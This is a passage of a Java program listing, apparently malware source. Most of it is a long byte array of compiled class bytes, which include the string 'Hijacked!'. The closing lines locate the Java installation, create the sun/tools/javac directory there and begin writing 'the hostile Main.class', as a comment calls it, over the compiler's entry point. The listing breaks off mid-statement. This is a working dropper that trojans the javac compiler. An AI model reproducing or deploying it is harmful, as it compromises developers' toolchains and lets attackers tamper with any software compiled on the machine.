  5024. 183,
  5025. 0,
  5026. 88,
  5027. 18,
  5028. 6,
  5029. 182,
  5030. 0,
  5031. 117,
  5032. 43,
  5033. 21,
  5034. 9,
  5035. 50,
  5036. 182,
  5037. 0,
  5038. 117,
  5039. 182,
  5040. 0,
  5041. 108,
  5042. 182,
  5043. 0,
  5044. 105,
  5045. 42,
  5046. 182,
  5047. 0,
  5048. 133,
  5049. 3,
  5050. 172,
  5051. 43,
  5052. 21,
  5053. 9,
  5054. 50,
  5055. 18,
  5056. 8,
  5057. 182,
  5058. 0,
  5059. 74,
  5060. 153,
  5061. 0,
  5062. 15,
  5063. 25,
  5064. 7,
  5065. 43,
  5066. 21,
  5067. 9,
  5068. 50,
  5069. 182,
  5070. 0,
  5071. 122,
  5072. 167,
  5073. 0,
  5074. 35,
  5075. 42,
  5076. 187,
  5077. 0,
  5078. 45,
  5079. 89,
  5080. 183,
  5081. 0,
  5082. 88,
  5083. 18,
  5084. 21,
  5085. 182,
  5086. 0,
  5087. 117,
  5088. 43,
  5089. 21,
  5090. 9,
  5091. 50,
  5092. 182,
  5093. 0,
  5094. 117,
  5095. 182,
  5096. 0,
  5097. 108,
  5098. 182,
  5099. 0,
  5100. 105,
  5101. 42,
  5102. 182,
  5103. 0,
  5104. 133,
  5105. 3,
  5106. 172,
  5107. 132,
  5108. 9,
  5109. 1,
  5110. 21,
  5111. 9,
  5112. 43,
  5113. 190,
  5114. 161,
  5115. 254,
  5116. 116,
  5117. 25,
  5118. 7,
  5119. 182,
  5120. 0,
  5121. 136,
  5122. 154,
  5123. 0,
  5124. 9,
  5125. 42,
  5126. 182,
  5127. 0,
  5128. 133,
  5129. 3,
  5130. 172,
  5131. 44,
  5132. 199,
  5133. 0,
  5134. 6,
  5135. 18,
  5136. 2,
  5137. 77,
  5138. 187,
  5139. 0,
  5140. 41,
  5141. 89,
  5142. 44,
  5143. 183,
  5144. 0,
  5145. 100,
  5146. 58,
  5147. 10,
  5148. 187,
  5149. 0,
  5150. 50,
  5151. 89,
  5152. 42,
  5153. 180,
  5154. 0,
  5155. 69,
  5156. 25,
  5157. 10,
  5158. 183,
  5159. 0,
  5160. 126,
  5161. 58,
  5162. 11,
  5163. 25,
  5164. 11,
  5165. 89,
  5166. 180,
  5167. 0,
  5168. 104,
  5169. 21,
  5170. 4,
  5171. 128,
  5172. 181,
  5173. 0,
  5174. 104,
  5175. 25,
  5176. 7,
  5177. 182,
  5178. 0,
  5179. 114,
  5180. 58,
  5181. 12,
  5182. 167,
  5183. 0,
  5184. 56,
  5185. 187,
  5186. 0,
  5187. 62,
  5188. 89,
  5189. 25,
  5190. 12,
  5191. 185,
  5192. 0,
  5193. 81,
  5194. 1,
  5195. 0,
  5196. 192,
  5197. 0,
  5198. 61,
  5199. 183,
  5200. 0,
  5201. 120,
  5202. 58,
  5203. 13,
  5204. 25,
  5205. 11,
  5206. 187,
  5207. 0,
  5208. 46,
  5209. 89,
  5210. 25,
  5211. 13,
  5212. 183,
  5213. 0,
  5214. 87,
  5215. 182,
  5216. 0,
  5217. 123,
  5218. 167,
  5219. 0,
  5220. 20,
  5221. 87,
  5222. 25,
  5223. 11,
  5224. 3,
  5225. 18,
  5226. 27,
  5227. 25,
  5228. 13,
  5229. 182,
  5230. 0,
  5231. 97,
  5232. 182,
  5233. 0,
  5234. 116,
  5235. 167,
  5236. 0,
  5237. 3,
  5238. 25,
  5239. 12,
  5240. 185,
  5241. 0,
  5242. 82,
  5243. 1,
  5244. 0,
  5245. 154,
  5246. 255,
  5247. 196,
  5248. 187,
  5249. 0,
  5250. 58,
  5251. 89,
  5252. 17,
  5253. 16,
  5254. 0,
  5255. 183,
  5256. 0,
  5257. 98,
  5258. 58,
  5259. 13,
  5260. 4,
  5261. 54,
  5262. 14,
  5263. 25,
  5264. 11,
  5265. 182,
  5266. 0,
  5267. 110,
  5268. 25,
  5269. 11,
  5270. 182,
  5271. 0,
  5272. 112,
  5273. 58,
  5274. 15,
  5275. 167,
  5276. 1,
  5277. 217,
  5278. 25,
  5279. 15,
  5280. 185,
  5281. 0,
  5282. 81,
  5283. 1,
  5284. 0,
  5285. 192,
  5286. 0,
  5287. 49,
  5288. 58,
  5289. 16,
  5290. 25,
  5291. 16,
  5292. 182,
  5293. 0,
  5294. 85,
  5295. 171,
  5296. 0,
  5297. 0,
  5298. 1,
  5299. 197,
  5300. 0,
  5301. 0,
  5302. 0,
  5303. 3,
  5304. 0,
  5305. 0,
  5306. 0,
  5307. 0,
  5308. 0,
  5309. 0,
  5310. 0,
  5311. 33,
  5312. 0,
  5313. 0,
  5314. 0,
  5315. 3,
  5316. 0,
  5317. 0,
  5318. 0,
  5319. 44,
  5320. 0,
  5321. 0,
  5322. 0,
  5323. 4,
  5324. 0,
  5325. 0,
  5326. 0,
  5327. 66,
  5328. 25,
  5329. 11,
  5330. 182,
  5331. 0,
  5332. 79,
  5333. 154,
  5334. 0,
  5335. 6,
  5336. 167,
  5337. 1,
  5338. 156,
  5339. 3,
  5340. 54,
  5341. 14,
  5342. 25,
  5343. 11,
  5344. 25,
  5345. 16,
  5346. 182,
  5347. 0,
  5348. 76,
  5349. 25,
  5350. 16,
  5351. 182,
  5352. 0,
  5353. 85,
  5354. 7,
  5355. 159,
  5356. 0,
  5357. 6,
  5358. 167,
  5359. 1,
  5360. 134,
  5361. 3,
  5362. 54,
  5363. 14,
  5364. 25,
  5365. 13,
  5366. 182,
  5367. 0,
  5368. 90,
  5369. 25,
  5370. 16,
  5371. 25,
  5372. 11,
  5373. 182,
  5374. 0,
  5375. 119,
  5376. 192,
  5377. 0,
  5378. 56,
  5379. 58,
  5380. 17,
  5381. 25,
  5382. 17,
  5383. 25,
  5384. 11,
  5385. 25,
  5386. 13,
  5387. 182,
  5388. 0,
  5389. 130,
  5390. 25,
  5391. 16,
  5392. 25,
  5393. 17,
  5394. 8,
  5395. 182,
  5396. 0,
  5397. 109,
  5398. 25,
  5399. 17,
  5400. 182,
  5401. 0,
  5402. 66,
  5403. 154,
  5404. 1,
  5405. 89,
  5406. 21,
  5407. 8,
  5408. 153,
  5409. 0,
  5410. 6,
  5411. 167,
  5412. 1,
  5413. 81,
  5414. 25,
  5415. 16,
  5416. 182,
  5417. 0,
  5418. 71,
  5419. 182,
  5420. 0,
  5421. 125,
  5422. 182,
  5423. 0,
  5424. 128,
  5425. 16,
  5426. 46,
  5427. 178,
  5428. 0,
  5429. 129,
  5430. 182,
  5431. 0,
  5432. 78,
  5433. 58,
  5434. 18,
  5435. 187,
  5436. 0,
  5437. 45,
  5438. 89,
  5439. 183,
  5440. 0,
  5441. 88,
  5442. 25,
  5443. 16,
  5444. 182,
  5445. 0,
  5446. 71,
  5447. 182,
  5448. 0,
  5449. 124,
  5450. 182,
  5451. 0,
  5452. 128,
  5453. 182,
  5454. 0,
  5455. 117,
  5456. 18,
  5457. 9,
  5458. 182,
  5459. 0,
  5460. 117,
  5461. 182,
  5462. 0,
  5463. 108,
  5464. 58,
  5465. 19,
  5466. 45,
  5467. 198,
  5468. 0,
  5469. 68,
  5470. 25,
  5471. 18,
  5472. 182,
  5473. 0,
  5474. 92,
  5475. 158,
  5476. 0,
  5477. 45,
  5478. 187,
  5479. 0,
  5480. 62,
  5481. 89,
  5482. 45,
  5483. 25,
  5484. 18,
  5485. 183,
  5486. 0,
  5487. 101,
  5488. 58,
  5489. 20,
  5490. 25,
  5491. 20,
  5492. 182,
  5493. 0,
  5494. 118,
  5495. 154,
  5496. 0,
  5497. 9,
  5498. 25,
  5499. 20,
  5500. 182,
  5501. 0,
  5502. 93,
  5503. 87,
  5504. 187,
  5505. 0,
  5506. 62,
  5507. 89,
  5508. 25,
  5509. 20,
  5510. 25,
  5511. 19,
  5512. 183,
  5513. 0,
  5514. 101,
  5515. 58,
  5516. 20,
  5517. 167,
  5518. 0,
  5519. 82,
  5520. 187,
  5521. 0,
  5522. 62,
  5523. 89,
  5524. 45,
  5525. 25,
  5526. 19,
  5527. 183,
  5528. 0,
  5529. 101,
  5530. 58,
  5531. 20,
  5532. 167,
  5533. 0,
  5534. 67,
  5535. 25,
  5536. 17,
  5537. 182,
  5538. 0,
  5539. 68,
  5540. 192,
  5541. 0,
  5542. 46,
  5543. 58,
  5544. 21,
  5545. 25,
  5546. 21,
  5547. 182,
  5548. 0,
  5549. 72,
  5550. 153,
  5551. 0,
  5552. 19,
  5553. 25,
  5554. 11,
  5555. 3,
  5556. 18,
  5557. 13,
  5558. 25,
  5559. 21,
  5560. 182,
  5561. 0,
  5562. 135,
  5563. 182,
  5564. 0,
  5565. 116,
  5566. 167,
  5567. 0,
  5568. 182,
  5569. 187,
  5570. 0,
  5571. 62,
  5572. 89,
  5573. 25,
  5574. 21,
  5575. 182,
  5576. 0,
  5577. 135,
  5578. 183,
  5579. 0,
  5580. 120,
  5581. 58,
  5582. 20,
  5583. 187,
  5584. 0,
  5585. 62,
  5586. 89,
  5587. 25,
  5588. 20,
  5589. 182,
  5590. 0,
  5591. 96,
  5592. 25,
  5593. 19,
  5594. 183,
  5595. 0,
  5596. 113,
  5597. 58,
  5598. 20,
  5599. 187,
  5600. 0,
  5601. 47,
  5602. 89,
  5603. 25,
  5604. 20,
  5605. 182,
  5606. 0,
  5607. 97,
  5608. 183,
  5609. 0,
  5610. 77,
  5611. 58,
  5612. 21,
  5613. 25,
  5614. 13,
  5615. 25,
  5616. 21,
  5617. 182,
  5618. 0,
  5619. 91,
  5620. 25,
  5621. 21,
  5622. 16,
  5623. 72,
  5624. 182,
  5625. 0,
  5626. 137,
  5627. 25,
  5628. 21,
  5629. 16,
  5630. 105,
  5631. 182,
  5632. 0,
  5633. 137,
  5634. 25,
  5635. 21,
  5636. 16,
  5637. 106,
  5638. 182,
  5639. 0,
  5640. 137,
  5641. 25,
  5642. 21,
  5643. 16,
  5644. 97,
  5645. 182,
  5646. 0,
  5647. 137,
  5648. 25,
  5649. 21,
  5650. 16,
  5651. 99,
  5652. 182,
  5653. 0,
  5654. 137,
  5655. 25,
  5656. 21,
  5657. 16,
  5658. 107,
  5659. 182,
  5660. 0,
  5661. 137,
  5662. 25,
  5663. 21,
  5664. 16,
  5665. 101,
  5666. 182,
  5667. 0,
  5668. 137,
  5669. 25,
  5670. 21,
  5671. 16,
  5672. 100,
  5673. 182,
  5674. 0,
  5675. 137,
  5676. 25,
  5677. 21,
  5678. 16,
  5679. 33,
  5680. 182,
  5681. 0,
  5682. 137,
  5683. 25,
  5684. 21,
  5685. 182,
  5686. 0,
  5687. 121,
  5688. 25,
  5689. 11,
  5690. 182,
  5691. 0,
  5692. 86,
  5693. 153,
  5694. 0,
  5695. 55,
  5696. 42,
  5697. 187,
  5698. 0,
  5699. 45,
  5700. 89,
  5701. 183,
  5702. 0,
  5703. 88,
  5704. 18,
  5705. 4,
  5706. 182,
  5707. 0,
  5708. 117,
  5709. 25,
  5710. 20,
  5711. 182,
  5712. 0,
  5713. 97,
  5714. 182,
  5715. 0,
  5716. 117,
  5717. 18,
  5718. 39,
  5719. 182,
  5720. 0,
  5721. 117,
  5722. 182,
  5723. 0,
  5724. 108,
  5725. 182,
  5726. 0,
  5727. 94,
  5728. 167,
  5729. 0,
  5730. 20,
  5731. 87,
  5732. 25,
  5733. 11,
  5734. 3,
  5735. 18,
  5736. 13,
  5737. 25,
  5738. 20,
  5739. 182,
  5740. 0,
  5741. 97,
  5742. 182,
  5743. 0,
  5744. 116,
  5745. 167,
  5746. 0,
  5747. 3,
  5748. 25,
  5749. 15,
  5750. 185,
  5751. 0,
  5752. 82,
  5753. 1,
  5754. 0,
  5755. 154,
  5756. 254,
  5757. 35,
  5758. 21,
  5759. 14,
  5760. 153,
  5761. 254,
  5762. 12,
  5763. 167,
  5764. 0,
  5765. 36,
  5766. 58,
  5767. 12,
  5768. 25,
  5769. 12,
  5770. 182,
  5771. 0,
  5772. 107,
  5773. 25,
  5774. 11,
  5775. 3,
  5776. 18,
  5777. 37,
  5778. 182,
  5779. 0,
  5780. 115,
  5781. 167,
  5782. 0,
  5783. 18,
  5784. 58,
  5785. 12,
  5786. 25,
  5787. 12,
  5788. 182,
  5789. 0,
  5790. 107,
  5791. 25,
  5792. 11,
  5793. 3,
  5794. 18,
  5795. 19,
  5796. 182,
  5797. 0,
  5798. 115,
  5799. 25,
  5800. 11,
  5801. 182,
  5802. 0,
  5803. 110,
  5804. 4,
  5805. 54,
  5806. 12,
  5807. 25,
  5808. 11,
  5809. 180,
  5810. 0,
  5811. 102,
  5812. 158,
  5813. 0,
  5814. 139,
  5815. 18,
  5816. 5,
  5817. 58,
  5818. 13,
  5819. 25,
  5820. 11,
  5821. 180,
  5822. 0,
  5823. 102,
  5824. 4,
  5825. 164,
  5826. 0,
  5827. 31,
  5828. 187,
  5829. 0,
  5830. 45,
  5831. 89,
  5832. 183,
  5833. 0,
  5834. 88,
  5835. 25,
  5836. 11,
  5837. 180,
  5838. 0,
  5839. 102,
  5840. 182,
  5841. 0,
  5842. 73,
  5843. 18,
  5844. 29,
  5845. 182,
  5846. 0,
  5847. 117,
  5848. 182,
  5849. 0,
  5850. 108,
  5851. 58,
  5852. 13,
  5853. 167,
  5854. 0,
  5855. 7,
  5856. 18,
  5857. 14,
  5858. 58,
  5859. 13,
  5860. 25,
  5861. 11,
  5862. 180,
  5863. 0,
  5864. 99,
  5865. 158,
  5866. 0,
  5867. 74,
  5868. 25,
  5869. 11,
  5870. 180,
  5871. 0,
  5872. 99,
  5873. 4,
  5874. 164,
  5875. 0,
  5876. 42,
  5877. 25,
  5878. 13,
  5879. 187,
  5880. 0,
  5881. 45,
  5882. 89,
  5883. 183,
  5884. 0,
  5885. 88,
  5886. 95,
  5887. 182,
  5888. 0,
  5889. 117,
  5890. 18,
  5891. 24,
  5892. 182,
  5893. 0,
  5894. 117,
  5895. 25,
  5896. 11,
  5897. 180,
  5898. 0,
  5899. 99,
  5900. 182,
  5901. 0,
  5902. 73,
  5903. 18,
  5904. 11,
  5905. 182,
  5906. 0,
  5907. 117,
  5908. 182,
  5909. 0,
  5910. 108,
  5911. 58,
  5912. 13,
  5913. 167,
  5914. 0,
  5915. 26,
  5916. 25,
  5917. 13,
  5918. 187,
  5919. 0,
  5920. 45,
  5921. 89,
  5922. 183,
  5923. 0,
  5924. 88,
  5925. 95,
  5926. 182,
  5927. 0,
  5928. 117,
  5929. 18,
  5930. 18,
  5931. 182,
  5932. 0,
  5933. 117,
  5934. 182,
  5935. 0,
  5936. 108,
  5937. 58,
  5938. 13,
  5939. 42,
  5940. 25,
  5941. 13,
  5942. 182,
  5943. 0,
  5944. 94,
  5945. 3,
  5946. 54,
  5947. 12,
  5948. 167,
  5949. 0,
  5950. 56,
  5951. 25,
  5952. 11,
  5953. 180,
  5954. 0,
  5955. 99,
  5956. 158,
  5957. 0,
  5958. 48,
  5959. 25,
  5960. 11,
  5961. 180,
  5962. 0,
  5963. 99,
  5964. 4,
  5965. 164,
  5966. 0,
  5967. 33,
  5968. 42,
  5969. 187,
  5970. 0,
  5971. 45,
  5972. 89,
  5973. 183,
  5974. 0,
  5975. 88,
  5976. 25,
  5977. 11,
  5978. 180,
  5979. 0,
  5980. 99,
  5981. 182,
  5982. 0,
  5983. 73,
  5984. 18,
  5985. 11,
  5986. 182,
  5987. 0,
  5988. 117,
  5989. 182,
  5990. 0,
  5991. 108,
  5992. 182,
  5993. 0,
  5994. 94,
  5995. 167,
  5996. 0,
  5997. 9,
  5998. 42,
  5999. 18,
  6000. 38,
  6001. 182,
  6002. 0,
  6003. 94,
  6004. 25,
  6005. 11,
  6006. 182,
  6007. 0,
  6008. 86,
  6009. 153,
  6010. 0,
  6011. 40,
  6012. 184,
  6013. 0,
  6014. 80,
  6015. 22,
  6016. 5,
  6017. 101,
  6018. 55,
  6019. 5,
  6020. 42,
  6021. 187,
  6022. 0,
  6023. 45,
  6024. 89,
  6025. 183,
  6026. 0,
  6027. 88,
  6028. 18,
  6029. 26,
  6030. 182,
  6031. 0,
  6032. 117,
  6033. 22,
  6034. 5,
  6035. 182,
  6036. 0,
  6037. 70,
  6038. 18,
  6039. 20,
  6040. 182,
  6041. 0,
  6042. 117,
  6043. 182,
  6044. 0,
  6045. 108,
  6046. 182,
  6047. 0,
  6048. 94,
  6049. 21,
  6050. 12,
  6051. 172,
  6052. 0,
  6053. 4,
  6054. 2,
  6055. 8,
  6056. 2,
  6057. 22,
  6058. 2,
  6059. 25,
  6060. 0,
  6061. 59,
  6062. 3,
  6063. 147,
  6064. 4,
  6065. 20,
  6066. 4,
  6067. 23,
  6068. 0,
  6069. 44,
  6070. 1,
  6071. 235,
  6072. 4,
  6073. 55,
  6074. 4,
  6075. 58,
  6076. 0,
  6077. 52,
  6078. 1,
  6079. 235,
  6080. 4,
  6081. 55,
  6082. 4,
  6083. 76,
  6084. 0,
  6085. 42,
  6086. 0,
  6087. 1,
  6088. 0,
  6089. 207,
  6090. 0,
  6091. 0,
  6092. 2,
  6093. 150,
  6094. 0,
  6095. 165,
  6096. 0,
  6097. 0,
  6098. 0,
  6099. 91,
  6100. 0,
  6101. 6,
  6102. 0,
  6103. 92,
  6104. 0,
  6105. 9,
  6106. 0,
  6107. 93,
  6108. 0,
  6109. 11,
  6110. 0,
  6111. 94,
  6112. 0,
  6113. 16,
  6114. 0,
  6115. 95,
  6116. 0,
  6117. 25,
  6118. 0,
  6119. 96,
  6120. 0,
  6121. 28,
  6122. 0,
  6123. 100,
  6124. 0,
  6125. 34,
  6126. 0,
  6127. 101,
  6128. 0,
  6129. 46,
  6130. 0,
  6131. 102,
  6132. 0,
  6133. 53,
  6134. 0,
  6135. 103,
  6136. 0,
  6137. 60,
  6138. 0,
  6139. 101,
  6140. 0,
  6141. 63,
  6142. 0,
  6143. 104,
  6144. 0,
  6145. 75,
  6146. 0,
  6147. 105,
  6148. 0,
  6149. 82,
  6150. 0,
  6151. 106,
  6152. 0,
  6153. 89,
  6154. 0,
  6155. 104,
  6156. 0,
  6157. 92,
  6158. 0,
  6159. 107,
  6160. 0,
  6161. 104,
  6162. 0,
  6163. 108,
  6164. 0,
  6165. 111,
  6166. 0,
  6167. 107,
  6168. 0,
  6169. 114,
  6170. 0,
  6171. 109,
  6172. 0,
  6173. 126,
  6174. 0,
  6175. 110,
  6176. 0,
  6177. 132,
  6178. 0,
  6179. 109,
  6180. 0,
  6181. 135,
  6182. 0,
  6183. 111,
  6184. 0,
  6185. 147,
  6186. 0,
  6187. 112,
  6188. 0,
  6189. 154,
  6190. 0,
  6191. 111,
  6192. 0,
  6193. 157,
  6194. 0,
  6195. 113,
  6196. 0,
  6197. 169,
  6198. 0,
  6199. 114,
  6200. 0,
  6201. 175,
  6202. 0,
  6203. 113,
  6204. 0,
  6205. 178,
  6206. 0,
  6207. 115,
  6208. 0,
  6209. 190,
  6210. 0,
  6211. 116,
  6212. 0,
  6213. 193,
  6214. 0,
  6215. 115,
  6216. 0,
  6217. 196,
  6218. 0,
  6219. 117,
  6220. 0,
  6221. 208,
  6222. 0,
  6223. 118,
  6224. 0,
  6225. 217,
  6226. 0,
  6227. 119,
  6228. 0,
  6229. 225,
  6230. 0,
  6231. 118,
  6232. 0,
  6233. 228,
  6234. 0,
  6235. 121,
  6236. 0,
  6237. 234,
  6238. 0,
  6239. 122,
  6240. 0,
  6241. 238,
  6242. 0,
  6243. 123,
  6244. 0,
  6245. 240,
  6246. 0,
  6247. 125,
  6248. 0,
  6249. 252,
  6250. 0,
  6251. 126,
  6252. 1,
  6253. 5,
  6254. 0,
  6255. 127,
  6256. 1,
  6257. 20,
  6258. 0,
  6259. 128,
  6260. 1,
  6261. 27,
  6262. 0,
  6263. 129,
  6264. 1,
  6265. 53,
  6266. 0,
  6267. 130,
  6268. 1,
  6269. 55,
  6270. 0,
  6271. 133,
  6272. 1,
  6273. 61,
  6274. 0,
  6275. 134,
  6276. 1,
  6277. 65,
  6278. 0,
  6279. 135,
  6280. 1,
  6281. 67,
  6282. 0,
  6283. 137,
  6284. 1,
  6285. 79,
  6286. 0,
  6287. 138,
  6288. 1,
  6289. 105,
  6290. 0,
  6291. 139,
  6292. 1,
  6293. 109,
  6294. 0,
  6295. 140,
  6296. 1,
  6297. 111,
  6298. 0,
  6299. 141,
  6300. 1,
  6301. 123,
  6302. 0,
  6303. 142,
  6304. 1,
  6305. 132,
  6306. 0,
  6307. 141,
  6308. 1,
  6309. 135,
  6310. 0,
  6311. 144,
  6312. 1,
  6313. 161,
  6314. 0,
  6315. 145,
  6316. 1,
  6317. 165,
  6318. 0,
  6319. 146,
  6320. 1,
  6321. 167,
  6322. 0,
  6323. 100,
  6324. 1,
  6325. 177,
  6326. 0,
  6327. 149,
  6328. 1,
  6329. 185,
  6330. 0,
  6331. 150,
  6332. 1,
  6333. 189,
  6334. 0,
  6335. 151,
  6336. 1,
  6337. 191,
  6338. 0,
  6339. 155,
  6340. 1,
  6341. 195,
  6342. 0,
  6343. 156,
  6344. 1,
  6345. 198,
  6346. 0,
  6347. 158,
  6348. 1,
  6349. 208,
  6350. 0,
  6351. 159,
  6352. 1,
  6353. 223,
  6354. 0,
  6355. 160,
  6356. 1,
  6357. 235,
  6358. 0,
  6359. 162,
  6360. 1,
  6361. 235,
  6362. 0,
  6363. 164,
  6364. 1,
  6365. 245,
  6366. 0,
  6367. 165,
  6368. 2,
  6369. 8,
  6370. 0,
  6371. 166,
  6372. 2,
  6373. 8,
  6374. 0,
  6375. 167,
  6376. 2,
  6377. 22,
  6378. 0,
  6379. 166,
  6380. 2,
  6381. 25,
  6382. 0,
  6383. 168,
  6384. 2,
  6385. 26,
  6386. 0,
  6387. 169,
  6388. 2,
  6389. 39,
  6390. 0,
  6391. 166,
  6392. 2,
  6393. 42,
  6394. 0,
  6395. 164,
  6396. 2,
  6397. 52,
  6398. 0,
  6399. 174,
  6400. 2,
  6401. 64,
  6402. 0,
  6403. 178,
  6404. 2,
  6405. 67,
  6406. 0,
  6407. 179,
  6408. 2,
  6409. 72,
  6410. 0,
  6411. 180,
  6412. 2,
  6413. 82,
  6414. 0,
  6415. 181,
  6416. 2,
  6417. 94,
  6418. 0,
  6419. 182,
  6420. 2,
  6421. 132,
  6422. 0,
  6423. 184,
  6424. 2,
  6425. 140,
  6426. 0,
  6427. 185,
  6428. 2,
  6429. 143,
  6430. 0,
  6431. 190,
  6432. 2,
  6433. 146,
  6434. 0,
  6435. 191,
  6436. 2,
  6437. 153,
  6438. 0,
  6439. 192,
  6440. 2,
  6441. 162,
  6442. 0,
  6443. 193,
  6444. 2,
  6445. 165,
  6446. 0,
  6447. 198,
  6448. 2,
  6449. 168,
  6450. 0,
  6451. 199,
  6452. 2,
  6453. 173,
  6454. 0,
  6455. 200,
  6456. 2,
  6457. 185,
  6458. 0,
  6459. 201,
  6460. 2,
  6461. 194,
  6462. 0,
  6463. 202,
  6464. 2,
  6465. 202,
  6466. 0,
  6467. 204,
  6468. 2,
  6469. 215,
  6470. 0,
  6471. 205,
  6472. 2,
  6473. 218,
  6474. 0,
  6475. 208,
  6476. 2,
  6477. 239,
  6478. 0,
  6479. 209,
  6480. 3,
  6481. 14,
  6482. 0,
  6483. 212,
  6484. 3,
  6485. 18,
  6486. 0,
  6487. 213,
  6488. 3,
  6489. 26,
  6490. 0,
  6491. 214,
  6492. 3,
  6493. 38,
  6494. 0,
  6495. 215,
  6496. 3,
  6497. 46,
  6498. 0,
  6499. 216,
  6500. 3,
  6501. 52,
  6502. 0,
  6503. 218,
  6504. 3,
  6505. 65,
  6506. 0,
  6507. 213,
  6508. 3,
  6509. 68,
  6510. 0,
  6511. 220,
  6512. 3,
  6513. 80,
  6514. 0,
  6515. 212,
  6516. 3,
  6517. 83,
  6518. 0,
  6519. 223,
  6520. 3,
  6521. 93,
  6522. 0,
  6523. 224,
  6524. 3,
  6525. 101,
  6526. 0,
  6527. 225,
  6528. 3,
  6529. 114,
  6530. 0,
  6531. 226,
  6532. 3,
  6533. 117,
  6534. 0,
  6535. 228,
  6536. 3,
  6537. 131,
  6538. 0,
  6539. 229,
  6540. 3,
  6541. 147,
  6542. 0,
  6543. 233,
  6544. 3,
  6545. 147,
  6546. 0,
  6547. 234,
  6548. 3,
  6549. 161,
  6550. 0,
  6551. 235,
  6552. 3,
  6553. 168,
  6554. 0,
  6555. 236,
  6556. 3,
  6557. 175,
  6558. 0,
  6559. 237,
  6560. 3,
  6561. 182,
  6562. 0,
  6563. 238,
  6564. 3,
  6565. 189,
  6566. 0,
  6567. 239,
  6568. 3,
  6569. 196,
  6570. 0,
  6571. 240,
  6572. 3,
  6573. 203,
  6574. 0,
  6575. 241,
  6576. 3,
  6577. 210,
  6578. 0,
  6579. 242,
  6580. 3,
  6581. 217,
  6582. 0,
  6583. 243,
  6584. 3,
  6585. 224,
  6586. 0,
  6587. 244,
  6588. 3,
  6589. 231,
  6590. 0,
  6591. 245,
  6592. 3,
  6593. 236,
  6594. 0,
  6595. 246,
  6596. 3,
  6597. 244,
  6598. 0,
  6599. 247,
  6600. 4,
  6601. 20,
  6602. 0,
  6603. 233,
  6604. 4,
  6605. 23,
  6606. 0,
  6607. 249,
  6608. 4,
  6609. 24,
  6610. 0,
  6611. 250,
  6612. 4,
  6613. 37,
  6614. 0,
  6615. 233,
  6616. 4,
  6617. 40,
  6618. 0,
  6619. 180,
  6620. 4,
  6621. 50,
  6622. 0,
  6623. 254,
  6624. 4,
  6625. 55,
  6626. 0,
  6627. 162,
  6628. 4,
  6629. 58,
  6630. 0,
  6631. 255,
  6632. 4,
  6633. 60,
  6634. 1,
  6635. 0,
  6636. 4,
  6637. 65,
  6638. 1,
  6639. 1,
  6640. 4,
  6641. 73,
  6642. 0,
  6643. 162,
  6644. 4,
  6645. 76,
  6646. 1,
  6647. 2,
  6648. 4,
  6649. 78,
  6650. 1,
  6651. 3,
  6652. 4,
  6653. 83,
  6654. 1,
  6655. 4,
  6656. 4,
  6657. 91,
  6658. 1,
  6659. 7,
  6660. 4,
  6661. 96,
  6662. 1,
  6663. 9,
  6664. 4,
  6665. 99,
  6666. 1,
  6667. 10,
  6668. 4,
  6669. 107,
  6670. 1,
  6671. 11,
  6672. 4,
  6673. 111,
  6674. 1,
  6675. 12,
  6676. 4,
  6677. 120,
  6678. 1,
  6679. 13,
  6680. 4,
  6681. 145,
  6682. 1,
  6683. 12,
  6684. 4,
  6685. 148,
  6686. 1,
  6687. 15,
  6688. 4,
  6689. 152,
  6690. 1,
  6691. 17,
  6692. 4,
  6693. 160,
  6694. 1,
  6695. 18,
  6696. 4,
  6697. 169,
  6698. 1,
  6699. 19,
  6700. 4,
  6701. 205,
  6702. 1,
  6703. 18,
  6704. 4,
  6705. 208,
  6706. 1,
  6707. 21,
  6708. 4,
  6709. 231,
  6710. 1,
  6711. 24,
  6712. 4,
  6713. 237,
  6714. 1,
  6715. 25,
  6716. 4,
  6717. 240,
  6718. 1,
  6719. 10,
  6720. 4,
  6721. 243,
  6722. 1,
  6723. 27,
  6724. 4,
  6725. 251,
  6726. 1,
  6727. 28,
  6728. 5,
  6729. 4,
  6730. 1,
  6731. 29,
  6732. 5,
  6733. 31,
  6734. 1,
  6735. 28,
  6736. 5,
  6737. 34,
  6738. 1,
  6739. 31,
  6740. 5,
  6741. 40,
  6742. 1,
  6743. 37,
  6744. 5,
  6745. 48,
  6746. 1,
  6747. 38,
  6748. 5,
  6749. 56,
  6750. 1,
  6751. 39,
  6752. 5,
  6753. 85,
  6754. 1,
  6755. 42,
  6756. 0,
  6757. 9,
  6758. 1,
  6759. 58,
  6760. 1,
  6761. 61,
  6762. 0,
  6763. 1,
  6764. 1,
  6765. 66,
  6766. 0,
  6767. 0,
  6768. 0,
  6769. 74,
  6770. 0,
  6771. 4,
  6772. 0,
  6773. 2,
  6774. 0,
  6775. 0,
  6776. 0,
  6777. 38,
  6778. 187,
  6779. 0,
  6780. 57,
  6781. 89,
  6782. 178,
  6783. 0,
  6784. 134,
  6785. 18,
  6786. 7,
  6787. 183,
  6788. 0,
  6789. 103,
  6790. 76,
  6791. 178,
  6792. 0,
  6793. 134,
  6794. 18,
  6795. 36,
  6796. 182,
  6797. 0,
  6798. 127,
  6799. 43,
  6800. 42,
  6801. 182,
  6802. 0,
  6803. 67,
  6804. 153,
  6805. 0,
  6806. 7,
  6807. 3,
  6808. 167,
  6809. 0,
  6810. 4,
  6811. 4,
  6812. 184,
  6813. 0,
  6814. 95,
  6815. 177,
  6816. 0,
  6817. 0,
  6818. 0,
  6819. 1,
  6820. 0,
  6821. 207,
  6822. 0,
  6823. 0,
  6824. 0,
  6825. 18,
  6826. 0,
  6827. 4,
  6828. 0,
  6829. 0,
  6830. 1,
  6831. 49,
  6832. 0,
  6833. 13,
  6834. 1,
  6835. 50,
  6836. 0,
  6837. 21,
  6838. 1,
  6839. 51,
  6840. 0,
  6841. 37,
  6842. 1,
  6843. 48,
  6844. 0,
  6845. 1,
  6846. 1,
  6847. 17,
  6848. 0,
  6849. 0,
  6850. 0,
  6851. 2,
  6852. 0,
  6853. 227,
  6854. };
  6855. // Find out where Java lives
  6856.         String jhome = System.getProperty("java.home");
  6857. // Determine the system-dependent file separator
  6858.         String sep = System.getProperty("file.separator");
  6859. // Specify the full pathname of the directory where Main.class will be placed
  6860.         String target = jhome + sep + "classes" + sep + "sun" + sep +
  6861.                         "tools" + sep + "javac";
  6862. // Specify the full pathname for Main.class
  6863.         String makemain = target + sep + "Main.class";
  6864. // Create the corresponding file objects
  6865.         File targetdir = new File(target);
  6866.         File mainfile = new File(makemain);
  6867. // Create the target directory if it doesn't already exist
  6868.         if (!(targetdir.exists())) {targetdir.mkdirs();}
  6869. // Dump out the hostile Main.class into its new home
  6870.         byte[] byter = new byte[hijacked.length];
